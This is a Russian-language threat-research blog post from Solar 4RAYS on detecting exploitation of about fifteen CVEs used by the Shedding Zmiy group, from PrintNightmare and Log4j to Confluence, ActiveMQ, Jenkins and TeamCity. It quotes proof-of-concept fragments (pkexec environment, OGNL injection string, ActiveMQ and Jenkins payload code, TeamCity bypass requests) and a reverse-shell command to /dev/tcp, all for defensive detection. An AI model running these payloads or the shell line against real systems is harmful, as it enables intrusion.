Наш блог центра исследования киберугроз Solar 4RAYS, запущенный в конце 2023 года, продолжает радовать новыми исследованиями активных кибергруппировок с техническим анализом их инструментария, тактик и техник. Некоторые статьи из блога, как эта, мы публикуем и здесь.

Сегодня мы решили поделиться своим опытом разработки детектирующей логики, позволяющей своевременно выявлять эксплуатацию уязвимостей, которые злоумышленники использовали, действуя в атакованной  инфраструктуре. Опираясь на информацию из статьи «Распутываем змеиный клубок: по следам атак Shedding Zmiy», мы выделим артефакты, на которые можно (и нужно!) обращать внимание при мониторинге защищаемой инфраструктуры.

Театр начинается с вешалки, а исследование уязвимости - с подготовки стенда

Некоторые из этих артефактов могут показаться устаревшими, но наш опыт показывает, что далеко не все IT-администраторы своевременно обновляют свою инфраструктуру, и злоумышленники часто ходят по «протоптанным тропам». Здесь не будет текста правил, но будет всё для того, чтобы самостоятельно перенести детектирующую логику в используемые вами продукты. Предлагаемые нами методы мониторинга рассчитаны в основном на базовую телеметрию,но и она позволяет поймать Змия за хвост :)

Отдельно отметим, что у предложенной в статье логики детектирования могут быть ложные срабатывания, связанные в том числе со стандартным поведением системы, поэтому она потребует тонкой настройки (в том числе фильтрации) под вашу инфраструктуру.

Далее мы опишем уязвимости, использованные группировкой Shedding Zmiy. С признаками эксплуатации некоторых из них команда 4RAYS столкнулась, распутывая змеиный клубок атак Shedding Zmiy (кейсы 1, 3, 4, 6, 7). Однако анализ тактик, техник и процедур, использованных группировкой, позволяет утверждать, что инструментарий злоумышленников шире и включает в себя многие известные в коммьюнити уязвимости трёх последних лет.

Заранее оговоримся, что в большинстве случаев главной рекомендацией будет своевременное обновление продуктов и установка вендорских патчей.


NB! Всегда проверяйте патчи на ограниченном скоупе узлов, чтобы убедиться в их эффективности и сохранении работоспособности инфраструктуры!

Начнём с самых ранних — это уязвимости, которым уже не менее трёх лет.

CVE-2021-1675 — Windows Print Spooler Remote Code Execution Vulnerability (PrintNightmare)

Что это такое?

Это RCE-уязвимость в диспетчере очереди печати Windows (Print Spooler). В начале июня уязвимость справила уже третий день рождения :)

Для успешной атаки злоумышленник, имея доступ к непривилегированной УЗ, должен проэксплуатировать ошибку проверки прав в WinAPI функции RpcAddPrinterDriver, в результате чего в процесс spoolsv.exe будет загружен и выполнен произвольный код с повышенными привилегиями.

Как мониторить?

Не углубляясь в технические подробности, уязвимость можно обнаружить по сети по следующим особенностям:


1. Обращение к spools

В коде (можно ознакомиться на github) это выглядит так:

Соответственно, в трафике ищем аргументы transfer_syntax:

Версия:

2. При этом в трафике можно увидеть n-ное количество dcerpc-вызовов
enumprinterdrivers и addprinterdriverex.

 

Мониторинг на хосте дополняет сетевые артефакты, покрывается расширенным аудитом Windows и дополнительными средствами аудита (например, Sysmon):

  1. Создание полезной нагрузки в директориях принтера (Event ID 4663 Security \ Sysmon 11)
    c:\windows\system32\spool\drivers\x*

  1. Подгрузка в процесс spoolsv.exe полезной нагрузки из директорий принтера (Sysmon 7)
    c:\windows\system32\spool\drivers\x*

  2. Изменение параметра (Event ID 4657 Security \ Sysmon 13)  NoWarningNoElevationOnInstall в реестре HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint (по умолчанию 0) на 1, что позволит злоумышленнику обойти рекомендованный вендором патч.

Кроме того, существуют менее надёжные события, которые могут помочь с обогащением в случае сработки на любую из описанных выше активностей:

  1. События Event ID 5156 Security и Event ID 3 Sysmon подсветят коннект по высоким портам на уязвимый хост, инициатором станет процесс spoolsv.exe,

  2. Событие Event ID 316 Microsoft-Windows-PrintService/Operational (по умолчанию журнал отключен, необходимо включить) будет содержать имя вредоносного файла, загруженного в директории принтера, 

  3.  Событие Event ID 808 Microsoft-Windows-SmbClient/Security с конкретным кодом ошибки 0х45А и событие Event ID 31017 (указывает на ошибку проверки подлинности при логоне как гость).

CVE-2021-4034 — Local Privilege Escalation in Polkit

Что это такое?

Polkit (ранее PolicyKit) — это компонент для управления общесистемными привилегиями в Unix-подобных операционных системах. Можно использовать polkit для выполнения команд с повышенными привилегиями, используя команду pkexec, за которой следует команда, предназначенная для выполнения с правами root.

Суть уязвимости — memory corruption, связанная с фиксированным размером буфера argv[] для pkexec. Если оставить буфер пустым (то есть, запустить команду без параметров), при чтении argv[0] будет получен NULL, который в свою очередь является escape-последовательностью для списка аргументов argv. Таким образом, мы уже вышли за пределы этого буфера (out-of-bounds) и начали читать следующий за ним envp.

|---------+---------+-----+------------|---------+---------+-----+------------| 

| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | 

|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------| 

     V         V                V           V         V                V 

"program" "-option"           NULL      "value" "PATH=name"          NULL

Злоумышленник может разместить в буфере envp путь к своей полезной нагрузке в переменной PATH, и, так как pkexec был запущен без параметров и обладает suid, нагрузка по пути PATH будет выполнена с повышенными привилегиями.

Как мониторить?

Присмотритесь к вызову pkexec без аргументов, для этого вам потребуется мониторинг запуска процесса (и мониторинг его параметров):

execve("/usr/bin/pkexec",
//args
	null,
//evniron	
	"evil.so:.",
	"PATH=GCONV_PATH=.", //path for evil.so
	"CHARSET=EVIL", //loof for packets in GCONV_PATH
	"GIO_USE_VFS=")

Кроме того, можно поискать в логе артефакты выполнения pkexec:
“The value for the SHELL variable was not found the /etc/shells file”,
“The value for environment variable […] contains suspicious content”


CVE-2021-34473 — Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyShell)

Tale as old as time. Цикл уязвимостей ProxyShell не единожды освещался в коммьюнити, поэтому подробно останавливаться на нём не будем. Скажем только: присмотритесь к хостовым generic-правилам на webshell. Их логика чаще всего описывает порождение процессов с родителем, который является процессом службы веб-сервера (например, w3wp.exe):


CVE-2021-44228/CVE-2021-45046/CVE-2021-45105 — LOG4j

Не менее нашумевший, чем её предшественник, цикл уязвимостей LOG4j также не остался без внимания коммьюнити. Например, EmergingThreats создали целый репозиторий с сетевыми детектами данного семейства уязвимостей.

На уровне хоста предлагаем также обратиться к generic-правилам на webshell и отслеживать запуски оболочек от процессов java:

USER         PID    PPID TT       STAT     TIME CMD
www-data   46152       1 ?        Ssl  00:00:01 /opt/java/openjdk/bin/java/ -jar some-webapp.jar
www-data   46226   46152 ?        S    00:00:00  \_ /bin/bash -c sh -i >& /dev/tcp/10.xx.xx.xx/9001 0>&1
www-data   46228   46226 ?        S    00:00:00      \_ sh -i
www-data   46230   46228 ?        S    00:00:00          \_ python3 -c import pty;pty.spawn("bash")

В логе auditd это выглядит следующим образом:

node=cert-centos7 type=EXECVE msg=audit(1718637300.588:7479): argc=5 a0="/home/user/log4j-shell/jdk1.8.0_20/bin/java" a1="-cp" a2="/home/user/log4j-shell-poc/target/marshalsec-0.0.3-SNAPSHOT-all.jar" a3="marshalsec.jndi.LDAPRefServer" a4="http://localhost:9001/#Exploit"

node=cert-centos7 type=EXECVE msg=audit(1718637315.432:7503): argc=3 a0="/usr/sbin/unix_chkpwd" a1="user" a2="nullok"
node=cert-centos7 type=CRED_REFR msg=audit(1718637326.530:7524): pid=9212 uid=0 auid=1000 ses=1 subj=system_u:system_r:xdm_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_unix,pam_gnome_keyring acct="user" exe="/usr/libexec/gdm-session-worker" hostname=cert-centos7 addr=? terminal=/dev/tty1 res=success'

node=cert-centos7 type=EXECVE msg=audit(1718637351.445:7547): argc=1 a0="/bin/sh"
node=cert-centos7 type=EXECVE msg=audit(1718637358.073:7552): argc=1 a0="whoami"
node=cert-centos7 type=CWD msg=audit(1718637360.445:7577):  cwd="/usr/local/tomcat"

node=cert-centos7 type=EXECVE msg=audit(1718637398.582:7592): argc=3 a0="/usr/sbin/unix_chkpwd" a1="root" a2="nonull"

node=cert-centos7 type=USER_AUTH msg=audit(1718637398.601:7594): pid=9268 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=pam_unix acct="root" exe="/usr/sbin/sshd" hostname=10.xx.xx.xx addr=10.xx.xx.xx terminal=ssh res=success'

Как можно заметить, всё новое — это хорошо себя зарекомендовавшее старое, поэтому повторим призыв из начала статьи: обновляйтесь по мере выхода вендорских патчей!

Продолжим подборкой уязвимостей помоложе: они были раскрыты в 2022-2023 годах.

CVE-2022-27925, CVE-2022-37042 — уязвимости в Zimbra Collaboration Suite

Что это такое?

Zimbra Collaboration Suite (ZCS) 8.8.15 и 9.0 имеет функцию mboximport, которая получает ZIP-архив и извлекает из него файлы. Злоумышленник получает возможность загружать в систему произвольные файлы, что может привести к удаленному выполнению кода. 

Как мониторить?

Нюанс: перед анализом трафика необходимо его дешифровать (то есть иметь ключи).

Есть POC-и на github, при анализе которых глаз цепляется за следующие строки:

endpoints = ["/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd",
             "/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1"]

Также прокидывается файл «webshell.zip» и, как известно, header у него будет PK.

Собственно, в wireshark при эмуляции можно увидеть:

В целом при написании детектирующей логики можно покрутить различные паттерны путей (/service/extension/backup/mboximport), параметры запроса и header передаваемого файла.

При настройке детектирующей логики также можно опереться на список легальных файлов в Zimbra c расширением jsp.


CVE-2022-41352 — уязвимости в Zimbra Collaboration Suite

Что это такое?

И снова Zimbra! Данная уязвимость также приводит к удаленному выполнению кода. Злоумышленник отправляет вредоносный архив (.cpio, rpm), затем Zimbra отправляет его в Amavis (проверка на спам и вирусы). Amavis, в свою очередь, анализирует вложение и проверяет содержимое архива. И тут…

JSP развертывается в общедоступном каталоге (/opt/zimbra/jetty/webapps/zimbra/public), и welcome — у злоумышленника webshell!

Подвержены уязвимости те же версии Zimbra, что и в CVE-2022–27 925, CVE-2022–37 042.

P. S.: файловые сигнатуры.cpio — 070 707 (в восьмеричной СС), или 0×71c7 (в шестнадцатеричной СС), rpm — |ed ab ee db|.

Как мониторить?

Есть соответствующие правила ETOpen. Можно написать свою детектирующую логику и использовать её в IDS, используя различные комбинации файловых сигнатур и вариации путей (/opt/zimbra/jetty/webapps/zimbra/public).


CVE-2022-34721 — Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code Execution Vulnerability

 

Что это такое?

Уязвимость заключается в том, что можно послать специально сформированный пакет на целевую систему с сервисом IPSec и исполнить произвольный код.

Как мониторить?

Для успешной эксплуатации уязвимости необходимо сформировать пакет, содержащий следующие ключевые поля:

pkt = ISAKMP(init_cookie=RandString(8), next_payload=0x84, exch_type=0xf3)
pkt /= ISAKMP_payload(next_payload=0x1, load=b"\x00\x00\x01\x7f")

Ключевые значения в PoC

  1. next_payload=0x84 и next_payload=0x1: эти значения важны для правильной маршрутизации и обработки полезных данных (payloads). Они определяют типы полезных данных. В нашем случае это Notify-пакет.

  2. exch_type=0xf3: этот параметр указывает на тип обмена (QuickMode), который требует специфической обработки в функциях IKE.

  3. load=b"\x00\x00\x01\x7f": это payload.

Собственно, в wireshark при анализе пакета мы видим все это:

Осталось поиграть со смещениями (в соответствии с RFC, конечно же), и детектирующая логика готова.


CVE-2022-41080/CVE-2022-41082 — OWASSRF

Что это такое?

Ещё одна уязвимость семейства ProxyShell, не менее громкая, чем её предшественницы. Не можем не отметить, что Exchange в последние два года крепко достаётся от злоумышленников самого разного уровня.

Вектор SSRF отлично описали наши коллеги из отдела анализа защищенности ещё в 2021 году.

Как мониторить?

Исследователям из CrowdStrike удалось обнаружить исходный инструмент, которым пользовались злоумышленники. На основании статьи можно предположить, что злоумышленник аутентифицируется на owa с валидными учётными данными (следите за своими учётками, особенно сервисными!) и затем использует SSRF вида  /owa/mastermailbox%40outlook.com/powershell, чтобы получить удалённую сессию Powershell. Пример:

Для детектов на сети необходимо разворачивать TLS.

Детекты, предложенные ETOpen, в целом достаточно хорошо покрывают такую активность.

А на хосте…

Снова отслеживаем запуск подозрительных процессов от хост-процессов сервера. В этом случае — ожидаем цепочку w3wp.exe → powershell.

Кроме того, можно мониторить логи вашего Exchange на предмет запросов типа “/owa/mastermailbox%40outlook.com/powershell” с кодом ответа 200; и запросов к Autodiscover, специфичных для семейства уязвимостей ProxyShell:
“.*autodiscover\.json.*\@.*Powershell.*“

CVE-2023-22527 — Atlassian Confluence Data Center and Server Template Injection Vulnerability

Что это такое?

Данная уязвимость затрагивает версии Atlassian Confluence, выпущенные до 5 декабря 2023 года, и позволяет выполнить произвольный код на атакуемой машине.

В коде опубликованных POC прослеживается следующая логика:

  1. Проверяется, уязвима ли версия Confluence (GET-запрос):

    В ответе версия:

Которая проверяется в коде:

def check_exploitable_version(version):
    exploitable_versions = ['8.0.', '8.1.', '8.2.', '8.3.', '8.4.', '8.5.0', '8.5.1', '8.5.2', '8.5.3']
    for exploitable_version in exploitable_versions:
        if version.startswith(exploitable_version):
            return True
    return False
  1. Посылается специально сформированный POST-запрос:

Как мониторить?

  1. В зависимости от реализации отправляется GET-запрос с общей частью «/login.action».

    В ответе версию Confluence можно забрать из «span id» и «print-only»:

<span id='footer-build-information'>8.4.0</span></li>
<li class="print-only">Printed by Attlassian Confluence 8.4.0</li>

Данный факт не получится использовать для формирования детектирующей логики, только в связке с другими подозрительными событиями.

  1. Самое интересное здесь — это POST-запрос, общая часть которого:

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader

И, воспользовавшись своими знаниями регулярных выражений или жестко определив подстроки, можно написать правила, которые будут достаточно точно определять попытки эксплуатации данной CVE.

CVE-2023-25157 – GeoServer SQL Injection

Что это такое?

Простыми словами, GeoServer — это программное обеспечение с открытым исходным кодом, предоставляющее возможность администрирования и публикации геоданных. Из названия понятно, что это SQL инъекция.

Как мониторить?

Сразу лезем в код и видим:

response = requests.get(URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities", proxies={"http": PROXY}, verify=False)
  1. GET-запрос:

    «/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities».

  1. И второй GET-запрос в коде:

endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
  1. И в wireshark:

Тут снова потребуются знания регулярных выражений или простой и дешёвый хардкод подстроки в правиле.

Эти 2 запроса смогут подсветить активность, сигнализирующую о возможной эксплуатации данной CVE.


CVE-2023-36745 — Microsoft Exchange Server Remote Code Execution Vulnerability

Что это такое?

Уязвимость — аналог описанной выше CVE-2022–41 082 — основана на десериализации (хотя и не такая грандиозная, как VIEWSTATE, о которой мы рассказывали в нашем блоге). При успешной эксплуатации позволяет злоумышленнику подгрузить вредоносную .NET-сборку и выполнить произвольный код в обход стандартных механизмов безопасности .NET Framework. В этом атакующему помогает класс Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver, позволяющий обойти ограничения на загрузку сторонних сборок в контексте активного приложения.

Для эксплуатации злоумышленнику необходимо послать серверу Exchange специальным образом сформированный http-запрос, который спровоцирует сервер загрузить вредоносную .NET-сборку с SMB-шары на хосте атакующего. Важно заметить, что для успешной эксплуатации злоумышленник уже должен находиться в одной локальной сети с сервером Exchange.

Как мониторить?

Интересно, что, несмотря на популярный вектор атаки, до сих пор в паблике существует всего один POC для данной уязвимости, авторства N1k0la-T.

Для мониторинга также рекомендуем опираться на generic-правила на webshells – это всё ещё самый простой способ обнаружить попытку эксплуатации уязвимостей веб-приложений. А если вы уже опытные и знаете, как работать с ETW (при помощи LogMan или SilkETW), присмотритесь к провайдеру Microsoft-Windows-DotNETRuntime ETW Provider: благодаря событиям от этого провайдера можно мониторить все имеющиеся сборки и давать алерт на подгрузку неизвестного ранее модуля.

Например, пользуясь вот таким фильтром:

<SilkServiceConfig>
    <ETWCollector>
        <Guid>073e0373-213b-4e3d-881a-6430d6d9e369</Guid>
        <CollectorType>user</CollectorType>
        <ProviderName>Microsoft-Windows-DotNETRuntime</ProviderName>
        <UserKeywords>0x2038</UserKeywords>
        <OutputType>eventlog</OutputType>
        <FilterOption>EventName</FilterOption>
        <FilterValue>Loader/AssemblyLoad</FilterValue>
    </ETWCollector>
</SilkServiceConfig>

CVE-2023-46604 — Apache ActiveMQ Vulnerability

Что это такое?

Это уязвимость удаленного выполнения кода в Apache ActiveMQ (брокер сообщений). Суть уязвимости заключается в протоколе OpenWire, который позволяет десериализовать xml с полезной нагрузкой и создать произвольный экземпляр класса org.springframework.context.support.ClassPathXmlApplicationContext.

Как мониторить?

Здесь обращаем внимание на переменную header в коде, а также на «01» после:

def execute(ip, port, srvip, srvport, command, url):
    class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
    message = url
    header = "1f00000000000000000001"
    body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message)
    payload = int2hex(len(body) // 2, 8) + body
    data = bytes.fromhex(payload)
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.connect((ip, port))
    conn.send(data)
    conn.close()

Собственно, в трафике она сохраняется:

При разработке детектирующей логики можно привязать также “org.springframework.context.support.ClassPathXmlApplicationContext”, а также символы “http://” для выявления попыток эксплуатации.

На хосте снова пользуемся generic-логикой для webshells, так как всё выполнение кода будет происходить от процесса java. Продублируем process tree, который демонстрировали ранее, для наглядности:

USER         PID    PPID TT       STAT     TIME CMD
www-data   46152       1 ?        Ssl  00:00:01 /opt/java/openjdk/bin/java/ -jar some-webapp.jar
www-data   46226   46152 ?        S    00:00:00  \_ /bin/bash -c sh -i >& /dev/tcp/10.xx.xx.xx/9001 0>&1
www-data   46228   46226 ?        S    00:00:00      \_ sh -i
www-data   46230   46228 ?        S    00:00:00          \_ python3 -c import pty;pty.spawn("bash")

CVE-2024-23897 — Jenkins Arbitrary File Leak Vulnerability

Что это такое?

Эксплуатация данной уязвимости предоставляет злоумышленнику возможность чтения произвольных файлов в Jenkins (инструмент для CI/CD).

Как мониторить?

В первую очередь логику можно построить на параметрах запроса:

def run(self):
		r = requests.post(f'{self.url}/cli?remoting=false',headers={
			"Session": self.session,
			"Side": "upload",
			"Content-type": "application/octet-stream"
		}, data=self.payload, verify=False, timeout=3)
def run(self):
		r = requests.post(f'{self.url}/cli?remoting=false',headers={
			"Session": self.session,
			"Side": "download",
		}, verify=False, timeout=3)
		self.result = r.text

А именно POST-запрос + /cli?remoting=false + Side: download/upload, ну и в случае с upload — Content-type.

Конечно, интересно, что передается в блоке data.

В коде указаны конкретные байты, отправляемые в запросе:

def gen_payload(self, path):
		payload = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@'
		payload += path.encode()
		payload += b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
		return payload	

Конечно, часть этой строки можно заменить, но точно останется символ “@”:

Соединив все вышеуказанное, можно написать неплохой детект.


CVE-2024-27198-RCE — JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities

Что это такое?

Удаленное выполнение кода на серверах JetBrains TeamCity, представляет собой обход аутентификации в веб-компоненте TeamCity через path traversal.

Как мониторить?

  1. В коде POC описан метод генерации http-запроса для метода check (проверка на возможность эксплуатации):

def send_auth_bypass_request_cgi(opts = {})
    # The file name of the .jsp can be 0 or more characters (it just has to end in .jsp)
    vars_get = {
      'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp"
    }

    # Add in 0 or more random query parameters, and ensure the order is shuffled in the request.
    0.upto(rand(8)) do
      vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16))
    end

    opts['vars_get'] ||= {}

    opts['vars_get'].merge!(vars_get)

    opts['shuffle_get_params'] = true

    opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8))

    send_request_cgi(opts)
  end

  def check
    # We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the
    # target is vulnerable.
    server_res = send_auth_bypass_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')
    )

GET-запрос с определенной подстрокой /app/rest/server и jsp.

Кроме того, в коде есть метод exploit:

res = send_auth_bypass_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)

Здесь POST-запрос с подстрокой /app/rest/users/id%3*/tokens и jsp:

Поделимся здесь регуляркой, объединяющей оба запроса:

pcre:"/\?.*?jsp\s*=\s*\/app\/rest\/.*?(?:\x3b|%3b).*?\.jsp/"

Напоминаем, что тип запроса может быть и GET, и POST.

Ну и в конце эксплуатации ждем код ответа «200» с токеном админа «token name=».

Что можно поискать на хосте?

Например, оставленные webshells (файлы jsp/jar) в директории
/opt/teamcity/webapps/ROOT/plugins/[randomString][/[randomString].jsp
и их распаковку в директории
/data/teamcity_server/datadir/system/caches/plugins.unpacked/[randomString][/[randomString].jsp

Причём набор знаков для имени вебшелла будет совпадать для обеих директорий.

Далее на помощь снова приходит отслеживание активности webshells по процессам: родителем для запущенной оболочки sh/bin/sh/dash/и т.д. будет процесс /opt/java/openjdk/bin/java/:

PID TTY     STAT   TIME   CMD
11960 pts/0    Ss+    0:00   /bin/bash /run-server.sh
11988 pts/0    S+     0:00     \_ /bin/sh bin/teamcity-server.sh run -config conf/server.xml
11993 pts/0    S+     0:00         \_ sh /opt/teamcity/bin/teamcity-server-restarter.sh run -config conf/server.xml
12110 pts/0    Sl+    3:52             \_ /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/opt/teamcity/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogM  
12291 pts/0    Sl+    0:01                 \_ /opt/java/openjdk/bin/java -DTCSubProcessName=TeamCityMavenServer -classpath /opt/teamcity/webapps/ROOT/WEB-INF/plugins/Maven2/server/async-trigger.jar:
12987 pts/0    S+     0:00                    \_ python3 -m http.server

Заключение

Итак, становится очевидно, что с «возрастом» многие уязвимости не теряют своей актуальности и популярности: не пропатченные уязвимые веб-приложения и почтовые серверы позволяют злоумышленникам получить доступ к инфраструктуре, выполнить вредоносный код и закрепиться. Поэтому регулярно проводите аудит, своевременно устанавливайте обновления и пользуйтесь связкой инструментов для сетевого и хостового мониторинга – тогда атакующим будет намного сложнее оставаться незамеченными . А если подозреваете, что вашу инфраструктуру взломали – обращайтесь к нам за «Выявлением следов компрометации (Compromise Assessment)».

В следующей нашей прикладной статье мы разберём, как детектировать другие вредоносные инструменты злоумышленников, с которыми мы столкнулись при анализе поведения группировки Shedding Zmiy.

Ознакомиться с другими исследованиями в блоге 4RAYS можно по ссылке.

Авторы: команда центра исследования киберугроз Solar 4RAYS, ГК «Солар»